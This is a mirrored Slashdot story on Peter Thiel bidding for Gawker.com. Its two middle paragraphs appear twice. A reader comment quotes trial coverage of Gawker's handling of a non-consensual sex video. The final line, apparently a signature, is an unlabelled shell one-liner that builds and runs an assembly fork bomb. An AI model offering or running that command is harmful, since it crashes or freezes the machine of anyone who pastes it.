Slashdot Mirror
Peter Thiel Is Now Bidding on Gawker.com (reuters.com)
An anonymous reader writes:
Its official. "Venture capitalist Peter Thiel has made an offer for Gawker," reports Reuters, adding that the potential acquisition "would let him take down stories regarding his personal life that are still available on the website, and remove the scope for further litigation between him and Gawker." It was Thiel's 2016 lawsuit which bankrupted the site, prompting a Washington Post blogger to write that Thiel "killed Gawker once. Now it looks like he may kill it again."
Elsewhere the Washington Post argues the whole episode "highlighted the immense legal risk borne by news outlets already facing a precarious financial reality in the digital age." The Post's blogger describes Thiel as "a billionaire leveraging his wealth to obliterate a media outlet...as part of a personal vendetta."
Last month former Gawker staffers attempted to crowdfund the purchase and relaunch of Gawker.com as a nonprofit media organization. But their 1,496 backers only pledged $89,844, far short of the campaign's $500,000 target.
Elsewhere the Washington Post argues the whole episode "highlighted the immense legal risk borne by news outlets already facing a precarious financial reality in the digital age." The Post's blogger describes Thiel as "a billionaire leveraging his wealth to obliterate a media outlet...as part of a personal vendetta."
Last month former Gawker staffers attempted to crowdfund the purchase and relaunch of Gawker.com as a nonprofit media organization. But their 1,496 backers only pledged $89,844, far short of the campaign's $500,000 target.
https://nypost.com/2016/03/11/...
Jurors at Hulk Hogan's invasion-of-privacy trial heard Friday how former top Gawker editor Albert "A.J." Daulerio - who put the infamous Hogan sex tape online - also posted video of the young woman engaged in sex in a bathroom stall at a Bloomington, Ind., sports bar in May 2010.
Days later, the woman wrote Gawker, begging that the video be taken down from its sports-themed Deadspin Website, according to e-mails read in court by Hogan lawyer Shane Vogt.
"I am the girl in it and it was stolen from me and put up without my permission," the unidentified woman wrote on May 11, 2010.
Gawker's complaint department forwarded the message to Daulerio, along with a note saying, "Blah, blah, blah," Vogt said.
Daulerio then e-mailed the woman and told her to "not make a big deal out of this," adding: "I'm sure it's embarrassing but these things do pass, keep your head up."
Then-company lawyer Gaby Darbyshire also e-mailed the woman, defending the video as "completely newsworthy" and scolding her about how "one's actions can have unintended consequences."
But Gawker reversed itself the next day and removed the entire posting, with Daulerio later admitting to GQ magazine he had regrets because the video "wasn't funny" and "was possibly rape."
Three women and one man on the six-member jury scribbled notes about the e-mail exchanges, with the man sternly peering over his glasses at Daulerio, 41, a co-defendant in the Hogan case.
An expert witness appearing for Hogan also testified that Gawker boosted its corporate value as much as $15.5 million by posting the hidden-camera sex recording of the pro wrestling legend.
Jeff Anderson, director of valuation and analytics at Consor Intellectual Asset Management, said 5.4 million people viewed the Hogan tape at Gawker between October 2012 and April 2013, resulting in a 28.5 percent spike in traffic to the site.
Awful people. And look at Daulerio's expression in the picture - he knows both he and his employer are screwed.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;